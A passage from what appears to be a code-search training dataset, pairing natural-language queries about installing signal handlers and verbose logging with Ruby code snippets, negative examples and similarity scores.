"0.5141366",
"0.5136435",
"0.51334685",
"0.5131488",
"0.5126103",
"0.51199645",
"0.511765",
"0.5115646",
"0.5094944",
"0.507353",
"0.50605917",
"0.5058683",
"0.5053458",
"0.50414294",
"0.50408417",
"0.503563",
"0.5032099",
"0.50261825",
"0.50142014",
"0.5008782",
"0.500367",
"0.50018936",
"0.49890038",
"0.49871212",
"0.49774227",
"0.4974856",
"0.49686584",
"0.4966025",
"0.49658623",
"0.49635497",
"0.49499658",
"0.49487504",
"0.49314633",
"0.4927892",
"0.4915625",
"0.49119806",
"0.490271",
"0.49015516",
"0.48937693",
"0.48796657",
"0.48657802",
"0.4846125",
"0.48452264",
"0.4842763",
"0.48395425",
"0.48300013",
"0.48299563",
"0.48258424",
"0.4824253",
"0.48098728",
"0.480771",
"0.48072326",
"0.48047268",
"0.4800888",
"0.47940657",
"0.47922236",
"0.47881624",
"0.47851303",
"0.47833252",
"0.47809285",
"0.47802415"
] |
0.6174087
|
2
|
Installs signal handlers to gracefully exit.
|
def install_signal_handlers
trap 'TERM' do do_exit end
trap 'INT' do do_exit end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def register_signal_handlers\n trap('TERM') { shutdown }\n trap('INT') { shutdown }\n trap('QUIT') { shutdown }\n trap 'SIGHUP', 'IGNORE'\n end",
"def register_signal_handlers!\n trap('TERM') { shutdown }\n trap('INT') { shutdown }\n end",
"def register_signal_handlers\r\n\t\t\ttrap('TERM') { shutdown! }\r\n\t\t\ttrap('INT') { shutdown! }\r\n\r\n\t\t\tbegin\r\n\t\t\t\ttrap('QUIT') { shutdown }\r\n\t\t\trescue ArgumentError\r\n\t\t\tend\r\n\t\tend",
"def register_signal_handlers\n trap('TERM') { shutdown! }\n trap('INT') { shutdown! }\n\n trap('QUIT') { shutdown }\n\n log.info \"Registered signals\"\n end",
"def register_signal_handlers\n trap('TERM') { shutdown! }\n trap('INT') { shutdown! }\n\n begin\n trap('QUIT') { shutdown }\n rescue ArgumentError\n warn \"Signals TERM and/or QUIT not supported.\"\n end\n\n log! \"Registered signals\"\n end",
"def register_signal_handlers\n trap(\"TERM\") { shutdown }\n trap(\"INT\") { shutdown }\n trap('QUIT') { shutdown } unless defined? JRUBY_VERSION\n end",
"def exit_on_signals\n install_signal_handlers unless defined?(@_signal)\n\n if @_signal\n log \"Exiting due to SIG#{@_signal}\"\n exit(1)\n end\n end",
"def register_signal_handlers\n trap('TERM') { shutdown }\n trap('INT') { shutdown }\n\n begin\n trap('QUIT') { shutdown }\n trap('USR1') { pause_processing }\n trap('CONT') { unpause_processing }\n rescue ArgumentError\n warn \"Signals QUIT, USR1, USR2, and/or CONT not supported.\"\n end\n\n log! \"Registered signals\"\n end",
"def register_signal_handlers\n at_exit { shutdown }\n log! \"registered at_exit shutdown hook (instead of signal handlers)\"\n end",
"def register_signal_handlers\n trap(\"QUIT\") { stop }\n trap(\"INT\") { @stop ? stop! : stop }\n trap(\"TERM\") { stop! }\n end",
"def setup_signals\n trap(\"TERM\") { @log.info(\"SIGTERM, forced shutdown.\"); shutdown(force=true) }\n trap(\"INT\") { @log.info(\"SIGINT, graceful shutdown started.\"); shutdown }\n begin\n trap(\"HUP\") { @log.info(\"SIGHUP, graceful shutdown started.\"); shutdown }\n trap(\"USR2\") { @log.info(status_info) }\n rescue ArgumentError\n # Probably on Windows and these signals aren't supported\n nil\n end\n end",
"def register_signal_handlers\n HANDLED_SIGNALS.each do |sig|\n if ::Signal.list.include? sig.to_s\n trap(sig) { Thread.main[:signal_queue] << sig ; notice_signal }\n end\n end\n end",
"def trap_signals\n trap(:QUIT) { @signals << :QUIT }\n trap(:EXIT) { @signals << :EXIT }\n end",
"def trap_signals\n trap(:QUIT) { @signals << :QUIT }\n trap(:EXIT) { @signals << :EXIT }\n end",
"def reset_signal_handlers\n Signal.list_trappable.each_key do |signal|\n begin\n prev_handler = trap(signal, DEFAULT)\n if prev_handler != DEFAULT\n @previous_signal_handlers[signal] = prev_handler\n end\n rescue ArgumentError\n # Signal cannot be trapped; ignore it.\n end\n end\n trap('HUP', IGNORE)\n PhusionPassenger.call_event(:after_installing_signal_handlers)\n end",
"def sigHandler\n Signal.trap(\"INT\") { stop }\n Signal.trap(\"TERM\") { stop }\n end",
"def register_signal_handlers\n # If we're the parent process, we mostly want to forward the signals on\n # to the child processes. It's just that sometimes we want to wait for\n # them and then exit\n trap('TERM') do\n contention_aware_handler { stop!('TERM', in_signal_handler=true); exit }\n end\n trap('INT') do\n contention_aware_handler { stop!('INT', in_signal_handler=true); exit }\n end\n safe_trap('HUP') { sighup_handler.call }\n safe_trap('QUIT') do\n contention_aware_handler { stop!('QUIT', in_signal_handler=true); exit }\n end\n safe_trap('USR1') do\n contention_aware_handler { stop!('KILL', in_signal_handler=true) }\n end\n begin\n trap('CONT') { stop('CONT', in_signal_handler=true) }\n trap('USR2') { stop('USR2', in_signal_handler=true) }\n rescue ArgumentError\n warn 'Signals USR2, and/or CONT not supported.'\n end\n end",
"def register_signal_handlers\n end",
"def daemon_install_signal_handler\n install_signal_handler(['TERM', 'INT', 'HUP'], :trap_msg => \"Caught trap signal. Shutdown workers...\") do\n $daemon[:worker_pids].each do |pid|\n begin\n Process.kill('TERM', pid)\n rescue => exception\n end\n end\n $daemon[:work] = false\n end\nend",
"def supervise\n HANDLED_SIGNALS.each { |signal| trap_signal(signal) }\n end",
"def trap_signals\n old_signal_callbacks = {}\n signal_callback = Proc.new do |signal|\n old_signal_callbacks[signal].call if old_signal_callbacks[signal]\n exit\n end\n\n [:INT, :TERM].each do |sig|\n old_signal_callbacks[sig] = trap(sig) { signal_callback.call(sig) }\n end\n end",
"def setup_signal_handlers\n Thread.abort_on_exception = true\n\n Signal.trap('INT') do\n @stop_server = true\n @stop_server_cv.broadcast\n end\n\n Signal.trap('TERM') do\n @stop_server = true\n @stop_server_cv.broadcast\n end\n end",
"def register_signals\n trap(:INT) { debug \"Recieved INT\"; exit!}\n end",
"def trap_signals\n trap(\"TERM\") do\n\tself.fatal!(\"TERM received\",1)\n end\n\n trap(\"INT\") do\n\tself.fatal!(\"Interrupt signal received.\", 2)\n end\n end",
"def trap_signals\n trap(\"TERM\") do\n\tself.fatal!(\"TERM received\",1)\n end\n\n trap(\"INT\") do\n\tself.fatal!(\"Interrupt signal received.\", 2)\n end\n end",
"def trap_signals\n %w(TERM INT).each do |signal|\n trap(signal) { stop }\n end\n end",
"def trap_signals\n [:INT, :QUIT, :TERM].each do |sig|\n trap(sig) do\n ProcessManager::Log.info \"#{description}: Received #{sig} - setting internal shutting down flag and possibly finishing last run\"\n stop_thread = Thread.new {stop}\n stop_thread.join\n end\n end\n # make sure we do not handle children like the master process\n trap(:CHLD, 'DEFAULT')\n end",
"def shutdown\n @signal_squash.call\n end",
"def trap_signals\n debug \"Trapping signals...\"\n Signal.trap(\"INT\") do\n $core_runtime_exiting = 1\n Kernel.puts \"Interrupting...\"\n end\n Signal.trap(\"TERM\") do\n $core_runtime_exiting = 2\n Kernel.puts \"Terminating...\"\n end\n Signal.trap(\"USR1\") do\n dump_core\n end\n end",
"def handle_signal(sig)\n case sig\n when :TERM\n handle_term_signal\n when :INT\n handle_interrupt\n when :HUP\n handle_hangup\n when *HANDLED_SIGNALS\n handle_signal_forward(sig)\n else\n system \"unhandled signal #{sig}\"\n end\n end",
"def add_sigint_handler\n trap 'INT' do\n puts '\\nCancelled. Bye Bye!'\n exit!\n end\n end",
"def set_signal_trap\n finalizer = Proc.new { finalize }\n Signal.trap(:INT, finalizer)\n end",
"def register_signals\n trap(\"TERM\") { self.bunny.stop }\n trap(\"INT\") { self.bunny.stop }\n end",
"def trap_signals\n Signal.trap('INT') do\n say \"\\nQuitting...\", :red\n Kernel.exit\n end\n end",
"def setup_signals(options={})\n ops = resolve_defaults(options)\n\n # forced shutdown, even if previously restarted (actually just like TERM but for CTRL-C)\n trap(\"INT\") { log \"INT signal received.\"; stop(false) }\n\n # clean up the pid file always\n at_exit { remove_pid_file }\n\n if RUBY_PLATFORM !~ /mswin/\n # graceful shutdown\n trap(\"TERM\") { log \"TERM signal received.\"; stop }\n trap(\"USR1\") { log \"USR1 received, toggling $mongrel_debug_client to #{!$mongrel_debug_client}\"; $mongrel_debug_client = !$mongrel_debug_client }\n # restart\n trap(\"USR2\") { log \"USR2 signal received.\"; stop(true) }\n\n log \"Signals ready. TERM => stop. USR2 => restart. INT => stop (no restart).\"\n else\n log \"Signals ready. INT => stop (no restart).\"\n end\n end",
"def restore_default_signal_handlers\n HANDLED_SIGNALS.each do |sig|\n trap(sig, :DEFAULT) if ::Signal.list.include? sig.to_s\n end\n end",
"def trap_signals\n Signal.trap(\"TERM\") { stop! }\n Signal.trap(\"INT\") { manual_stop! }\n end",
"def trap_signals\n # kill\n trap('INT') do\n puts('INT received')\n notify_subscribers('INT received')\n stop\n end\n\n # kill\n trap('TERM') do\n puts('TERM received')\n notify_subscribers('TERM received')\n stop\n end\n\n # graceful\n trap('QUIT') do\n puts('QUIT received')\n notify_subscribers('QUIT received')\n stop_soft\n end\n\n # reset things\n trap('HUP') do\n puts('HUP received')\n notify_subscribers('HUP received')\n reset\n end\n end",
"def capture_signals\n %w[ TERM INT QUIT HUP ].each do |signal|\n Signal.trap(signal) { stop }\n end\n end",
"def setup_signals\n %w(INT TERM QUIT).each do |signal|\n trap(signal) do\n @reapers += 1\n\n unless @reapers > 1\n reap_workers\n exit(0)\n end\n end\n end\n\n trap \"USR2\" do\n # avoid re-execing in case a previous signal was already sent.\n unless @reexecing\n @reexecing = true\n reap_workers\n reexec\n end\n end\n end",
"def setup_signals\n @trapped_count ||= 0\n\n stopper = proc do\n @trapped_count += 1\n stop!\n\n # Reset count after 5 seconds\n EM.add_timer(5) { @trapped_count = 0 }\n end\n\n trap('INT') do\n stopper.call\n abort \"Multiple INT signals trapped; aborting!\" if @trapped_count > 1\n end\n\n trap('TERM') { stopper.call }\n\n unless !!RUBY_PLATFORM =~ /mswin|mingw/\n trap('QUIT') { stop! }\n trap('HUP') { restart }\n end\n end",
"def worker_install_signal_handler\n install_signal_handler(['TERM'], :trap_msg => \"Caught trap signal. Shutdown...\", :ignore_signals => ['HUP', 'INT']) do\n # Shutdown task_queue. Because of Ruby 2.0, we have to do this in a Thread to prevent \"can't be called from trap context\"-errors!\n Thread.new do\n $worker[:task_queue].update_attributes state: 'shutdown' if $worker[:task_queue]\n end\n $worker[:work] = false\n end\nend",
"def register_at_exit\n return if at_exit_handler_installed?\n @exit_handler_added = true\n at_exit do\n if $!\n exception = unwrap_bundler_exception($!)\n\n Bugsnag.notify(exception, true) do |report|\n report.severity = 'error'\n report.severity_reason = {\n :type => Bugsnag::Report::UNHANDLED_EXCEPTION\n }\n end\n end\n end\n end",
"def reset_handlers_for(signals)\n logger.debug \"Resetting signal handlers for #{signals.inspect}\"\n signals.each {|signal| Signal.trap signal, \"DEFAULT\" }\n end",
"def setup_traps\n\t\tSignal.trap(\"TERM\") { yield }\n\t\tSignal.trap(\"INT\") { yield }\n\tend",
"def handle_signals(sigs)\n sigs.each do |signal|\n trap(signal) { exit_child }\n end\n end",
"def trap_exit_signal(signal)\n trap(signal) {\n Serv::Initializer.stop!\n }\n end",
"def register_interrupt_handlers\n vm.mov_handler_to_addr 0, method(:syscall_handler)\n end",
"def initialize_sighandlers\n trap(:INT) do\n stop\n exit\n end\n end",
"def setup_signal_traps\n @signal_pipe_r, @signal_pipe_w = IO.pipe\n\n %w(TERM USR1).each do |signal_name|\n trap(signal_name) do\n @signal_pipe_w.puts(signal_name)\n end\n end\n end",
"def setup_signal_traps\n @signal_pipe_r, @signal_pipe_w = IO.pipe\n\n %w(TERM USR1).each do |signal_name|\n trap(signal_name) do\n @signal_pipe_w.puts(signal_name)\n end\n end\n @signal_pipe_r\n end",
"def trap_sigint(metabolizer, &block)\n trap 'SIGINT', proc {\n block.call if block\n metabolizer.stop\n }\nend",
"def trap_signals\n [\"TERM\", \"INT\"].each do |signal|\n trap(signal) do\n @thin_server.stop! if @thin_server\n EM.stop\n end\n end\n end",
"def interrupt_handler\n signal_handler(2)\n end",
"def handle_signal( signal )\n\t\tself.log.info \"Handling %p signal.\" % [ signal ]\n\t\tcase signal\n\t\twhen :INT, :TERM, :HUP\n\t\t\tself.stop\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"def handler_for signal, &block\n interrupt_handler[signal] = block\n end",
"def handle_interrupt\n system \"SIGINT received, starting shutdown\"\n @shutdown = true\n end",
"def do_exit\n log \"caught signal, shutting down\"\n self.class.remove_pid_file\n exit 130\n end",
"def signal_handle\n unless @context.ignore_sigint?\n print \"\\nabort!\\n\" if @context.verbose?\n exit\n end\n\n case @signal_status\n when :IN_INPUT\n print \"^C\\n\"\n raise RubyLex::TerminateLineInput\n when :IN_EVAL\n IRB.irb_abort(self)\n when :IN_LOAD\n IRB.irb_abort(self, LoadAbort)\n when :IN_IRB\n # ignore\n else\n # ignore other cases as well\n end\n end",
"def process_signal(signal_name)\n if signal_name == 'TERM'\n if $shutdown\n logger.info \"TERM received again, exiting immediately\"\n Process.exit(1) if $shutdown\n else\n logger.info \"TERM received, starting graceful shutdown\"\n $shutdown = true\n graceful_shutdown\n end\n elsif signal_name == 'USR1'\n logger.info \"USR1 received, hot restart in progress\"\n hot_restart\n end\n end",
"def on_interrupt(&block)\n trap(\"INT\") { yield \"SIGINT\" }\n trap(\"QUIT\") { yield \"SIGQUIT\" }\n trap(\"TERM\") { yield \"SIGTERM\" }\n end",
"def on_term_signal(&block)\n # trap(:TERM) {}\n warn \"Missing implementation 'on_term_signal'\"\n end",
"def handle_signal( sig )\n\t\tself.log.debug \"Handling signal %s\" % [ sig ]\n\t\tcase sig\n\t\twhen :INT, :TERM\n\t\t\tself.on_termination_signal( sig )\n\n\t\twhen :HUP\n\t\t\tself.on_hangup_signal( sig )\n\n\t\twhen :USR1\n\t\t\tself.on_user1_signal( sig )\n\n\t\telse\n\t\t\tself.log.warn \"Unhandled signal %s\" % [ sig ]\n\t\tend\n\n\tend",
"def process_signal(signal_name)\n if signal_name == 'TERM'\n if @shutdown\n logger.info \"TERM received again, exiting immediately\"\n Process.exit(1)\n else\n logger.info \"TERM received, starting graceful shutdown\"\n graceful_shutdown\n end\n elsif signal_name == 'USR1'\n logger.info \"USR1 received, hot restart in progress\"\n hot_restart\n end\n end",
"def signals_reset\n @signals.pop\n end",
"def shutdown\n _shutdown 'SIGUSR1' unless dead?\n end",
"def handle_term_signal\n system \"SIGTERM received, starting shutdown\"\n @shutdown = true\n end",
"def setup_signal_traps\n if Signal.list.include?(\"TRAP\")\n Signal.trap(\"TRAP\") do\n @level = case @level\n when :debug\n @previous_level || :info\n else\n @previous_level = @level\n :debug\n end\n end\n end\n if Signal.list.include?(\"USR2\")\n Signal.trap(\"USR2\") do\n if @reopen\n reopen(@reopen)\n end\n end\n end\n end",
"def trap_deferred(signal)\n trap(signal) do |sig_nr|\n if @waiting_for_reaper && [:INT, :TERM].include?(signal)\n log \"Recieved #{signal}: short circuiting QUIT waitpid\"\n raise QuitNowException\n end\n if sig_queue.size < SIG_QUEUE_MAX_SIZE\n sig_queue << signal\n awaken_master\n else\n log \"ignoring SIG#{signal}, queue=#{sig_queue.inspect}\"\n end\n end\n end",
"def remove_siginfo_handler\n return unless Signal.list.key? 'INFO'\n\n handler = @old_siginfo || 'DEFAULT'\n\n trap 'INFO', handler\n end",
"def event_sighup()\n _load_registrations\n load_command_methods\n dispatch :log, \"SIG-HUP, controls.rb reloaded\"\nend",
"def graceful_shutdown(signal)\n EventMachine.stop_server(@server) if @server\n Thread.new{ logger.info \"Received #{signal} signal. No longer accepting new connections.\" }\n Thread.new{ logger.info \"Waiting for #{EventMachine.connection_count} connections to finish.\" }\n @server = nil\n graceful_shutdown_check\n end",
"def signal_handler(signal)\n @signal_handlers[canonicalize_signal(signal)]\n end",
"def forward_signals_to(pid, signals = %w[INT])\n # Set up signal handlers\n logger.debug \"Setting up signal handlers for #{signals.inspect}\"\n signal_count = 0\n signals.each do |signal|\n Signal.trap(signal) do\n Process.kill signal, pid rescue nil\n\n # If this is the second time we've received and forwarded\n # on the signal, make sure next time we just give up.\n reset_handlers_for signals if ++signal_count >= 2\n end\n end\n\n # Run the block now that the signals are being forwarded\n yield\n ensure\n # Always good to make sure we clean up after ourselves\n reset_handlers_for signals\n end",
"def install_signal_handler(signal, position=:end, &blk)\n raise ArgumentError, \"Unknown position: #{position}\" if ![:beginning, :end].include?(position)\n logger.debug { \"Installing signal handler for #{signal}\" }\n\n @signal_handlers[signal].insert((position == :beginning) ? 0 : -1, blk)\n\n Signal.trap(signal) {\n @signal_handler_pipe_writer.write_nonblock('.')\n @signal_handler_queue << signal\n }\n end",
"def uninstall_signal(directives)\n Array(directives[:signal]).flatten.each_slice(2) do |pair|\n raise CaskInvalidError.new(@cask, \"Each #{stanza} :signal must have 2 elements.\") unless pair.length == 2\n signal, bundle_id = pair\n ohai \"Signalling '#{signal}' to application ID '#{bundle_id}'\"\n pids = running_processes(bundle_id).map(&:first)\n next unless pids.any?\n # Note that unlike :quit, signals are sent from the current user (not\n # upgraded to the superuser). This is a todo item for the future, but\n # there should be some additional thought/safety checks about that, as a\n # misapplied \"kill\" by root could bring down the system. The fact that we\n # learned the pid from AppleScript is already some degree of protection,\n # though indirect.\n odebug \"Unix ids are #{pids.inspect} for processes with bundle identifier #{bundle_id}\"\n Process.kill(signal, *pids)\n sleep 3\n end\n end",
"def on_int_signal(&block)\n # trap(:INT)\n warn \"Missing implementation 'on_int_signal'\"\n end",
"def trap_signal(signal)\n trap(signal) do\n notice_signal(signal)\n (@callbacks[signal] || []).each(&:call)\n end\n end",
"def setup_worker_signals\n %w(INT TERM QUIT).each do |signal|\n trap(signal) do\n # 1. updates the name so that an analysis tool can see that the signal\n # was received and the process is aware of its termination\n setup_name \"Worker #{@identifier} - terminating\"\n\n # 2. if the process is not currently processing any request, finish\n # immediately\n exit!(0) unless @busy\n\n # 3. if the process is currently processing a request, mark it as killed\n # so that the process can terminate when the processing is done.\n @killed = true\n end\n end\n end",
"def on_termination_signal( signo )\n\t\tself.log.warn \"Terminated (%p)\" % [ signo ]\n\t\tself.shutdown\n\tend",
"def install_unhandled_exception_hook!\n # only install the hook once, even when called from multiple locations\n return if @unhandled_exception_hook_installed\n\n # the $! is set when the interpreter is exiting due to an exception\n at_exit do\n boom = $!\n if boom && !raise_errors? && !boom.is_a?(SystemExit)\n report(boom, 'argv' => ([$0]+ARGV).join(\" \"), 'halting' => true)\n end\n end\n\n @unhandled_exception_hook_installed = true\n end",
"def onsig(sig)\n close_screen\n @exit = true\n end",
"def fake_sig(sig) # :nodoc:\n old_cb = trap(sig, \"IGNORE\")\n old_cb.call\n ensure\n trap(sig, old_cb)\n end",
"def trap_signals(signal_hash, write_end)\n Signal.reset\n\n signal_hash.each do |sig_num, signal|\n Signal.trap(signal) do\n write_end.write(sig_num)\n end\n end\n end",
"def setup_signal_handlers\n # The Module declaration here will only close over local variables so we\n # need to assign self to a local variable to get access to the agent itself.\n clazz = self\n\n EM.attach(@signal_handler_pipe_reader, Module.new {\n define_method :receive_data do |_|\n\n handlers = clazz.instance_variable_get(:@signal_handlers)\n queue = clazz.instance_variable_get(:@signal_handler_queue)\n signal = queue.pop\n\n clazz.send(:logger).debug { \"Running signal handlers for: #{signal}\" }\n handlers[signal].each { |handler| handler.call(signal) }\n end\n })\n end",
"def handle_signal(sig)\n pids = @old_workers.keys.sort\n msg = \"received #{sig}, \"\n\n # Resque workers respond to a few different signals:\n # * TERM / INT - Immediately kill child then exit\n # * QUIT - Wait for child to finish processing then exit\n # * USR1 - Immediately kill child but don't exit\n # * USR2 - Don't start to process any new jobs\n # * CONT - Start to process new jobs again after a USR2\n case sig\n when 'TERM', 'INT' \n @logger.info msg << \"immediately kill all resque workers then exit:#{pids}\"\n @shutdown = true\n Process.kill(sig, *pids)\n when 'QUIT'\n @logger.info msg << \"wait for all resque workers to finish processing then exit:#{pids}\"\n @shutdown = true\n Process.kill(sig, *pids)\n when 'USR1'\n @logger.info msg << \"immediately kill the child of all resque workers:#{pids}\"\n Process.kill(sig, *pids)\n when 'USR2'\n @logger.info msg << \"don't start to process any new jobs:#{pids}\"\n Process.kill(sig, *pids)\n when 'CONT'\n @logger.info msg << \"start to process new jobs again after USR2:#{pids}\"\n Process.kill(sig, *pids)\n when 'TTIN'\n @num_workers += 1\n @logger.info msg << \"increment the number of resque workers:#{@num_workers}\"\n maintain_worker_count # ToDo: forking from a thread would be unsafe\n when 'TTOU'\n @num_workers -= 1 if @num_workers > 0\n @logger.info msg << \"decrement the number of resque workers:#{@num_workers}\"\n maintain_worker_count\n end\n rescue Errno::ESRCH\n rescue => e\n @logger.error(e)\n exit(1)\n end",
"def setup_signals; end",
"def signal_received; end",
"def setup_traps\n ['INT', 'TERM'].each do |sig|\n old = trap(sig) do\n un_register\n @amq.instance_variable_get('@connection').close do\n EM.stop\n old.call if old.is_a? Proc\n end\n end\n end\n true\n end",
"def trap(signal, &block)\n if Signal.list.include?(signal)\n Kernel.trap(signal, &block) unless Merb.disabled?(:signals)\n end\n end",
"def quiet_traps\n trap(\"TERM\") do\n exit 1\n end\n\n trap(\"INT\") do\n exit 2\n end\n end",
"def install_siginfo_handler\n return unless Signal.list.include? 'INFO'\n\n @old_siginfo = trap 'INFO' do\n puts @current if @current\n end\n end",
"def signal_received=(_arg0); end",
"def signal_restart_graceful\n @signal_operation_queue << :restart_graceful\n interrupt_server_polling_sleep\n nil\n end",
"def signals_want_shutdown\n !@signals.empty?\n end",
"def cleanup(signal)\n @calibrate_timer.cancel()\n # send shutdown signals to children\n @workers.each_key { |worker| kill_worker(signal, worker) }\n @reactor.add_timer(5) do\n reap_workers\n @workers.each_pair do |pid, worker| \n @logger.log(Logger::Severity::WARN,\n \"Worker #{worker[:name]} with PID #{pid} did not terminate gracefully .. Killing the worker process\", @options[:name]) \n kill_worker(:KILL, pid) \n end\n reap_workers\n @logger.log(Logger::Severity::INFO, \"Exiting, bye bye !!!!\", @options[:name])\n exit\n end\n end",
"def rl_cleanup_after_signal()\r\n _rl_clean_up_for_exit()\r\n if (@rl_deprep_term_function)\r\n send(@rl_deprep_term_function)\r\n end\r\n rl_clear_pending_input()\r\n rl_clear_signals()\r\n end",
"def set_signal_handler(signal, handler)\n check_definition_state(is_method: true)\n if !handler.is_a?(::Proc) && !handler.is_a?(::Symbol) && !handler.nil?\n raise ToolDefinitionError, \"Signal handler must be a proc or symbol\"\n end\n signal = canonicalize_signal(signal)\n @signal_handlers[signal] = handler\n end",
"def handle_hangup\n system \"SIGHUP received, starting shutdown\"\n @shutdown = true\n end",
"def signals_want_shutdown?\n !@signals.empty?\n end"
] |
[
"0.8189762",
"0.8168444",
"0.8119747",
"0.80708",
"0.7970652",
"0.78447163",
"0.7837409",
"0.7819602",
"0.77881527",
"0.7617676",
"0.7567327",
"0.7396383",
"0.7375882",
"0.7375882",
"0.73699605",
"0.723577",
"0.7232138",
"0.7231227",
"0.7207219",
"0.71948266",
"0.71801347",
"0.71390575",
"0.70934427",
"0.70758885",
"0.70758885",
"0.70240074",
"0.69961",
"0.69504124",
"0.68728924",
"0.68448",
"0.6842784",
"0.68330485",
"0.68313867",
"0.6819281",
"0.6777284",
"0.67460203",
"0.6741316",
"0.6717046",
"0.6629885",
"0.658398",
"0.65550345",
"0.6548171",
"0.65329534",
"0.648058",
"0.6474304",
"0.6463099",
"0.6420437",
"0.6398522",
"0.6385992",
"0.63848567",
"0.63629746",
"0.6350631",
"0.63271683",
"0.6291548",
"0.6152348",
"0.612525",
"0.61158484",
"0.6114506",
"0.6036946",
"0.6026272",
"0.6021284",
"0.6019788",
"0.60194623",
"0.59998906",
"0.59548444",
"0.59344596",
"0.5932263",
"0.58906364",
"0.5878408",
"0.5878002",
"0.5862314",
"0.5855773",
"0.58524346",
"0.58440924",
"0.5822838",
"0.5817113",
"0.5756784",
"0.575473",
"0.57542974",
"0.57225186",
"0.5709359",
"0.5687858",
"0.56749284",
"0.5656119",
"0.56548566",
"0.56538165",
"0.56533325",
"0.5644513",
"0.56335443",
"0.56305224",
"0.56264865",
"0.5586586",
"0.55254996",
"0.5518691",
"0.55184585",
"0.5498981",
"0.5482532",
"0.54798514",
"0.546743",
"0.54627436"
] |
0.83130765
|
0
|
Logs +message+ if verbose
|
def log(message)
$stderr.puts message if @verbose
ActionMailer::Base.logger.info "ar_sendmail: #{message}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log(message)\n return unless @verbose\n $stderr.puts \"# #{message}\"\n end",
"def log!(message)\n log message if very_verbose\n end",
"def log!(message)\n log message if very_verbose\n end",
"def log(message)\n if verbose\n puts \"*** #{message}\"\n elsif very_verbose\n time = Time.now.strftime('%H:%M:%S %Y-%m-%d')\n puts \"** [#{time}] #$$: #{message}\"\n end\n end",
"def verbose(message)\n add(:info, message) if verbose?\n end",
"def verbose(message)\n add(:info, message) if verbose?\n end",
"def log(message)\n if verbose\n output.puts \"*** #{message}\"\n elsif very_verbose\n time = Time.now.strftime('%H:%M:%S %Y-%m-%d')\n output.puts \"** [#{time}] #$$: #{message}\"\n end\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def log(message)\n if ENV['VERBOSE']\n output.puts \"*** #{message}\"\n elsif ENV['VVERBOSE']\n time = Time.now.strftime('%H:%M:%S %Y-%m-%d')\n output.puts \"** [#{time}] #$$: #{message}\"\n end\n end",
"def verbose_message(msg)\n\t\t\t\tUI.message(msg) if (@verbose)\n\t\t\tend",
"def write_verbose_log(message, level = Honeybadger.configuration.debug ? :info : :debug)\n logger.send(level, LOG_PREFIX + message) if logger\n end",
"def log(msg)\n puts msg if $verbose\nend",
"def log(msg)\n STDERR.puts msg if $verbose\nend",
"def log(msg)\n STDERR.puts msg if $verbose\nend",
"def verbose text\n message(text) if @options[:verbose]\n end",
"def verbose text\n message(text) if @options[:verbose]\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def verbose(m)\n $stderr.puts(m) if $verbose\nend",
"def verbose( text )\n $stderr.puts text if $params[ :verbose ]\nend",
"def print_verbose(msg = '')\n $stderr.puts \"[*] #{msg}\" if self.verbose\n end",
"def log(msg)\n print \" \" if $trace && $verbose\n puts msg if $verbose\n end",
"def verbose(msg = nil)\n say(clean_text(msg || yield)) if Gem.configuration.really_verbose\n end",
"def log_verbose(log_entry = \"\")\n entry(Gml::LOG_LEVEL_VERBOSE, log_entry, 1)\n end",
"def log(msg)\n print \" \" if $trace && $verbose\n $stderr.puts msg if $verbose\n end",
"def say(message)\n puts green(message) if self.verbose \n end",
"def message(message)\n log.info(message.to_s)\n end",
"def v_puts(msg)\n puts msg if @options[:verbose]\n end",
"def verbose_print(topic, message = \"\")\n if @verbose\n Jekyll.logger.info topic, message\n end\n end",
"def debug(message = \"\", level = 5)\n if $config[:global][:verboselevel] and $config[:global][:verboselevel] >= level\n puts message \n\t\t#logger.info(message)\n Syslog.info(message)\n end\nend",
"def log(message)\n Rails.logger.info(\"FfcrmVend: #{message}\") if config.use_logger?\n end",
"def verbose_logging; end",
"def print_verbose(msg)\n puts msg if (@verbose) \n STDOUT.flush\n end",
"def log_this(message)\n Vedeu::Log.logger.debug(message)\n end",
"def log(s)\n @logger.info(s) if @verbose\n end",
"def vprint_debug(msg)\n print_debug(msg) if @verbose == true\n end",
"def verbose_info(message, color: :blue)\n info(message, color: color) if AIPP.options.verbose\n end",
"def verbose(*args)\n if @verbose\n $stderr.puts args\n end\n end",
"def log_message(message)\n\t\tputs(message)\n\tend",
"def log(msg)\n\t\tSyslog.info(msg) if @verbose\n\tend",
"def verbose(string)\n if $verbose\n puts string\n end\nend",
"def log(message); logger.info(message); end",
"def log(message)\n warn \"dm-visualizer: #{message}\"\n end",
"def info(message)\n log.info(message.to_s.blue)\n end",
"def log(message)\n @logger.info message\n end",
"def verbose!\n @actor << 'VERBOSE'\n end",
"def log(message)\n puts \">> #{message}\"\n end",
"def log(message, error=false)\n full_message = \"\"\n full_message += \"ERROR: \" if error\n full_message += message\n puts full_message\n end",
"def log(message)\n SystemdMon::Logger.puts \"#{me}: #{message}\"\n end",
"def logs message\n puts \"#{Time.now}: #{message}\"\n end",
"def puts_verbose(s = \"\")\n puts s if $VERBOSE\nend",
"def verbose_logging=(_arg0); end",
"def doing(what, message=nil)\n unless verbose\n message = [ \" #{what.to_s.upcase}\", message ].compact.join(' ')\n STDERR.puts message\n end\nend",
"def log_message(message)\r\n @log.log_message(message)\r\n end",
"def verbose(string_to_output)\n puts string_to_output if $verbose\nend",
"def log(msg)\n puts(msg) if @info_values['enable_debug_logging'] == \"Yes\"\n end",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def log(message)\n puts message\n end",
"def debug_message(message)\n logger.debug \"**** - #{message}\"\n end",
"def log_debug(message)\n Rails.logger.debug message\n puts message\n end",
"def debug(message)\n log(0, message)\n end",
"def debug_msg(msg)\n if(@options[:debug])\n @log.puts(msg)\n puts msg\n end\nend",
"def log(message)\n if Typescript::Monkey.configuration.logger\n Typescript::Monkey.configuration.logger.debug(message)\n end\n end",
